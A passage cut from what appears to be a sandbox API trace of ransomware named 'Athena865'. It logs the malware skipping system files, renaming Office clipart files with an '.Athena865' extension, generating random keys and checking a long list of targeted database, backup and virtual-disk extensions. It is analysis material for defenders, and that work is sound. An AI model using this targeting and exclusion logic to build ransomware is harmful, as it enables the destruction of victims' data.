dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.597] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.597] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.597] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8ca0, lpName=0x0) returned 0x154 [0128.599] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8ca0) returned 0x100000 [0128.602] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.602] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.602] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.603] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.604] CloseHandle (hObject=0x154) returned 1 [0128.604] CloseHandle (hObject=0x17c) returned 1 [0128.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.604] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e804d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e804d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x4de6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0232803.WMF", cAlternateFileName="")) returned 1 [0128.604] lstrcmpiW (lpString1="J0232803.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.604] lstrcmpiW (lpString1="J0232803.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.604] lstrcmpiW (lpString1="J0232803.WMF", lpString2=".") returned 1 [0128.604] lstrcmpiW (lpString1="J0232803.WMF", lpString2="..") returned 1 [0128.604] lstrcmpiW (lpString1="J0232803.WMF", lpString2="windows") returned -1 [0128.604] lstrcmpiW (lpString1="J0232803.WMF", lpString2="bootmgr") returned 1 [0128.604] lstrcmpiW (lpString1="J0232803.WMF", lpString2="temp") returned -1 [0128.604] lstrcmpiW (lpString1="J0232803.WMF", lpString2="pagefile.sys") returned -1 [0128.604] lstrcmpiW (lpString1="J0232803.WMF", lpString2="boot") returned 1 [0128.605] lstrcmpiW (lpString1="J0232803.WMF", lpString2="ids.txt") returned 1 [0128.605] lstrcmpiW (lpString1="J0232803.WMF", lpString2="ntuser.dat") returned -1 [0128.605] lstrcmpiW (lpString1="J0232803.WMF", lpString2="perflogs") returned -1 [0128.605] lstrcmpiW (lpString1="J0232803.WMF", lpString2="MSBuild") returned -1 [0128.605] lstrlenW (lpString="J0232803.WMF") returned 12 [0128.605] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0232803.WMF" | out: lpString1="J0232803.WMF") returned="J0232803.WMF" [0128.605] lstrlenW (lpString="J0232803.WMF") returned 12 [0128.605] lstrlenW (lpString="Athena865") returned 9 [0128.605] lstrcmpiW (lpString1="32803.WMF", lpString2="Athena865") returned -1 [0128.605] lstrlenW (lpString=".dll") returned 4 [0128.605] lstrcmpiW (lpString1="J0232803.WMF", lpString2=".dll") returned 1 [0128.605] lstrlenW (lpString=".lnk") returned 4 [0128.605] lstrcmpiW (lpString1="J0232803.WMF", lpString2=".lnk") returned 1 [0128.605] lstrlenW (lpString=".ini") returned 4 [0128.605] lstrcmpiW (lpString1="J0232803.WMF", lpString2=".ini") returned 1 [0128.605] lstrlenW (lpString=".sys") returned 4 [0128.605] lstrcmpiW (lpString1="J0232803.WMF", lpString2=".sys") returned 1 [0128.605] lstrlenW (lpString="J0232803.WMF") returned 12 [0128.605] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.Athena865") returned 73 [0128.605] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf.athena865"), dwFlags=0x1) returned 1 [0128.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.607] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19942) returned 1 [0128.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.607] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.608] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.608] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.608] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x50f0, lpName=0x0) returned 0x154 [0128.609] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x50f0) returned 0x100000 [0128.611] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.612] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.612] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.613] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.613] CloseHandle (hObject=0x154) returned 1 [0128.613] CloseHandle (hObject=0x17c) returned 1 [0128.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.613] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0233512.WMF", cAlternateFileName="")) returned 1 [0128.613] lstrcmpiW (lpString1="J0233512.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.613] lstrcmpiW (lpString1="J0233512.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.613] lstrcmpiW (lpString1="J0233512.WMF", lpString2=".") returned 1 [0128.613] lstrcmpiW (lpString1="J0233512.WMF", lpString2="..") returned 1 [0128.613] lstrcmpiW (lpString1="J0233512.WMF", lpString2="windows") returned -1 [0128.613] lstrcmpiW (lpString1="J0233512.WMF", lpString2="bootmgr") returned 1 [0128.613] lstrcmpiW (lpString1="J0233512.WMF", lpString2="temp") returned -1 [0128.614] lstrcmpiW (lpString1="J0233512.WMF", lpString2="pagefile.sys") returned -1 [0128.614] lstrcmpiW (lpString1="J0233512.WMF", lpString2="boot") returned 1 [0128.614] lstrcmpiW (lpString1="J0233512.WMF", lpString2="ids.txt") returned 1 [0128.614] lstrcmpiW (lpString1="J0233512.WMF", lpString2="ntuser.dat") returned -1 [0128.614] lstrcmpiW (lpString1="J0233512.WMF", lpString2="perflogs") returned -1 [0128.614] lstrcmpiW (lpString1="J0233512.WMF", lpString2="MSBuild") returned -1 [0128.614] lstrlenW (lpString="J0233512.WMF") returned 12 [0128.614] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0233512.WMF" | out: lpString1="J0233512.WMF") returned="J0233512.WMF" [0128.614] lstrlenW (lpString="J0233512.WMF") returned 12 [0128.614] lstrlenW (lpString="Athena865") returned 9 [0128.614] lstrcmpiW (lpString1="33512.WMF", lpString2="Athena865") returned -1 [0128.614] lstrlenW (lpString=".dll") returned 4 [0128.614] lstrcmpiW (lpString1="J0233512.WMF", lpString2=".dll") returned 1 [0128.614] lstrlenW (lpString=".lnk") returned 4 [0128.614] lstrcmpiW (lpString1="J0233512.WMF", lpString2=".lnk") returned 1 [0128.614] lstrlenW (lpString=".ini") returned 4 [0128.614] lstrcmpiW (lpString1="J0233512.WMF", lpString2=".ini") returned 1 [0128.614] lstrlenW (lpString=".sys") returned 4 [0128.614] lstrcmpiW (lpString1="J0233512.WMF", lpString2=".sys") returned 1 [0128.614] lstrlenW (lpString="J0233512.WMF") returned 12 [0128.614] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.Athena865") returned 73 [0128.614] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf.athena865"), dwFlags=0x1) returned 1 [0128.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.616] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9960) returned 1 [0128.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.616] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.617] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.617] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.617] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x29f0, lpName=0x0) returned 0x154 [0128.619] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x29f0) returned 0x100000 [0128.622] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.622] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.622] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.623] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.623] CloseHandle (hObject=0x154) returned 1 [0128.623] CloseHandle (hObject=0x17c) returned 1 [0128.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.624] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x312c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0233665.WMF", cAlternateFileName="")) returned 1 [0128.624] lstrcmpiW (lpString1="J0233665.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.624] lstrcmpiW (lpString1="J0233665.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.624] lstrcmpiW (lpString1="J0233665.WMF", lpString2=".") returned 1 [0128.624] lstrcmpiW (lpString1="J0233665.WMF", lpString2="..") returned 1 [0128.624] lstrcmpiW (lpString1="J0233665.WMF", lpString2="windows") returned -1 [0128.624] lstrcmpiW (lpString1="J0233665.WMF", lpString2="bootmgr") returned 1 [0128.624] lstrcmpiW (lpString1="J0233665.WMF", lpString2="temp") returned -1 [0128.624] lstrcmpiW (lpString1="J0233665.WMF", lpString2="pagefile.sys") returned -1 [0128.624] lstrcmpiW (lpString1="J0233665.WMF", lpString2="boot") returned 1 [0128.624] lstrcmpiW (lpString1="J0233665.WMF", lpString2="ids.txt") returned 1 [0128.624] lstrcmpiW (lpString1="J0233665.WMF", lpString2="ntuser.dat") returned -1 [0128.624] lstrcmpiW (lpString1="J0233665.WMF", lpString2="perflogs") returned -1 [0128.624] lstrcmpiW (lpString1="J0233665.WMF", lpString2="MSBuild") returned -1 [0128.624] lstrlenW (lpString="J0233665.WMF") returned 12 [0128.624] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0233665.WMF" | out: lpString1="J0233665.WMF") returned="J0233665.WMF" [0128.624] lstrlenW (lpString="J0233665.WMF") returned 12 [0128.624] lstrlenW (lpString="Athena865") returned 9 [0128.624] lstrcmpiW (lpString1="33665.WMF", lpString2="Athena865") returned -1 [0128.624] lstrlenW (lpString=".dll") returned 4 [0128.624] lstrcmpiW (lpString1="J0233665.WMF", lpString2=".dll") returned 1 [0128.624] lstrlenW (lpString=".lnk") returned 4 [0128.625] lstrcmpiW (lpString1="J0233665.WMF", lpString2=".lnk") returned 1 [0128.625] lstrlenW (lpString=".ini") returned 4 [0128.625] lstrcmpiW (lpString1="J0233665.WMF", lpString2=".ini") returned 1 [0128.625] lstrlenW (lpString=".sys") returned 4 [0128.625] lstrcmpiW (lpString1="J0233665.WMF", lpString2=".sys") returned 1 [0128.625] lstrlenW (lpString="J0233665.WMF") returned 12 [0128.625] lstrlenW (lpString="bak") returned 3 [0128.625] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0128.625] lstrlenW (lpString="ba_") returned 3 [0128.625] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0128.625] lstrlenW (lpString="dbb") returned 3 [0128.625] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0128.625] lstrlenW (lpString="vmdk") returned 4 [0128.625] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0128.625] lstrlenW (lpString="rar") returned 3 [0128.625] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0128.625] lstrlenW (lpString="zip") returned 3 [0128.625] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0128.625] lstrlenW (lpString="tgz") returned 3 [0128.625] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0128.625] lstrlenW (lpString="vbox") returned 4 [0128.625] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0128.625] lstrlenW (lpString="vdi") returned 3 [0128.625] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0128.625] lstrlenW (lpString="vhd") returned 3 [0128.625] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0128.625] lstrlenW (lpString="vhdx") returned 4 [0128.625] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0128.625] lstrlenW (lpString="avhd") returned 4 [0128.626] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0128.626] lstrlenW (lpString="db") returned 2 [0128.626] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0128.626] lstrlenW (lpString="db2") returned 3 [0128.626] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0128.626] lstrlenW (lpString="db3") returned 3 [0128.626] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0128.626] lstrlenW (lpString="dbf") returned 3 [0128.626] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0128.626] lstrlenW (lpString="mdf") returned 3 [0128.626] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0128.626] lstrlenW (lpString="mdb") returned 3 [0128.626] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0128.626] lstrlenW (lpString="sql") returned 3 [0128.626] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0128.626] lstrlenW (lpString="sqlite") returned 6 [0128.626] lstrcmpiW (lpString1="65.WMF", lpString2="sqlite") returned -1 [0128.626] lstrlenW (lpString="sqlite3") returned 7 [0128.626] lstrcmpiW (lpString1="665.WMF", lpString2="sqlite3") returned -1 [0128.626] lstrlenW (lpString="sqlitedb") returned 8 [0128.626] lstrcmpiW (lpString1="3665.WMF", lpString2="sqlitedb") returned -1 [0128.626] lstrlenW (lpString="xml") returned 3 [0128.626] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0128.626] lstrlenW (lpString="$er") returned 3 [0128.626] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0128.626] lstrlenW (lpString="4dd") returned 3 [0128.626] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0128.626] lstrlenW (lpString="4dl") returned 3 [0128.627] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0128.627] lstrlenW (lpString="^^^") returned 3 [0128.627] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0128.627] lstrlenW (lpString="abs") returned 3 [0128.627] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0128.627] lstrlenW (lpString="abx") returned 3 [0128.627] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0128.627] lstrlenW (lpString="accdb") returned 5 [0128.627] lstrcmpiW (lpString1="5.WMF", lpString2="accdb") returned -1 [0128.627] lstrlenW (lpString="accdc") returned 5 [0128.627] lstrcmpiW (lpString1="5.WMF", lpString2="accdc") returned -1 [0128.627] lstrlenW (lpString="accde") returned 5 [0128.627] lstrcmpiW (lpString1="5.WMF", lpString2="accde") returned -1 [0128.627] lstrlenW (lpString="accdr") returned 5 [0128.627] lstrcmpiW (lpString1="5.WMF", lpString2="accdr") returned -1 [0128.627] lstrlenW (lpString="accdt") returned 5 [0128.627] lstrcmpiW (lpString1="5.WMF", lpString2="accdt") returned -1 [0128.627] lstrlenW (lpString="accdw") returned 5 [0128.627] lstrcmpiW (lpString1="5.WMF", lpString2="accdw") returned -1 [0128.627] lstrlenW (lpString="accft") returned 5 [0128.627] lstrcmpiW (lpString1="5.WMF", lpString2="accft") returned -1 [0128.627] lstrlenW (lpString="adb") returned 3 [0128.627] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.627] lstrlenW (lpString="adb") returned 3 [0128.627] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.627] lstrlenW (lpString="ade") returned 3 [0128.627] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0128.627] lstrlenW (lpString="adf") returned 3 [0128.627] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0128.628] lstrlenW (lpString="adn") returned 3 [0128.628] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0128.628] lstrlenW (lpString="adp") returned 3 [0128.628] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0128.628] lstrlenW (lpString="alf") returned 3 [0128.628] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0128.628] lstrlenW (lpString="ask") returned 3 [0128.628] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0128.628] lstrlenW (lpString="btr") returned 3 [0128.628] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0128.628] lstrlenW (lpString="cat") returned 3 [0128.628] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0128.628] lstrlenW (lpString="cdb") returned 3 [0128.628] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0128.628] lstrlenW (lpString="ckp") returned 3 [0128.628] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0128.628] lstrlenW (lpString="cma") returned 3 [0128.628] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0128.628] lstrlenW (lpString="cpd") returned 3 [0128.628] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0128.628] lstrlenW (lpString="dacpac") returned 6 [0128.628] lstrcmpiW (lpString1="65.WMF", lpString2="dacpac") returned -1 [0128.628] lstrlenW (lpString="dad") returned 3 [0128.628] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0128.628] lstrlenW (lpString="dadiagrams") returned 10 [0128.628] lstrcmpiW (lpString1="233665.WMF", lpString2="dadiagrams") returned -1 [0128.628] lstrlenW (lpString="daschema") returned 8 [0128.628] lstrcmpiW (lpString1="3665.WMF", lpString2="daschema") returned -1 [0128.629] lstrlenW (lpString="db-journal") returned 10 [0128.629] lstrcmpiW (lpString1="233665.WMF", lpString2="db-journal") returned -1 [0128.629] lstrlenW (lpString="db-shm") returned 6 [0128.629] lstrcmpiW (lpString1="65.WMF", lpString2="db-shm") returned -1 [0128.629] lstrlenW (lpString="db-wal") returned 6 [0128.629] lstrcmpiW (lpString1="65.WMF", lpString2="db-wal") returned -1 [0128.629] lstrlenW (lpString="dbc") returned 3 [0128.629] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0128.629] lstrlenW (lpString="dbs") returned 3 [0128.629] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0128.629] lstrlenW (lpString="dbt") returned 3 [0128.629] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0128.629] lstrlenW (lpString="dbv") returned 3 [0128.629] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0128.629] lstrlenW (lpString="dbx") returned 3 [0128.629] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0128.629] lstrlenW (lpString="dcb") returned 3 [0128.629] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0128.629] lstrlenW (lpString="dct") returned 3 [0128.629] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0128.629] lstrlenW (lpString="dcx") returned 3 [0128.629] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0128.629] lstrlenW (lpString="ddl") returned 3 [0128.629] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0128.629] lstrlenW (lpString="dlis") returned 4 [0128.629] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0128.629] lstrlenW (lpString="dp1") returned 3 [0128.629] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0128.629] lstrlenW (lpString="dqy") returned 3 [0128.630] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0128.630] lstrlenW (lpString="dsk") returned 3 [0128.630] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0128.630] lstrlenW (lpString="dsn") returned 3 [0128.630] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0128.630] lstrlenW (lpString="dtsx") returned 4 [0128.630] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0128.630] lstrlenW 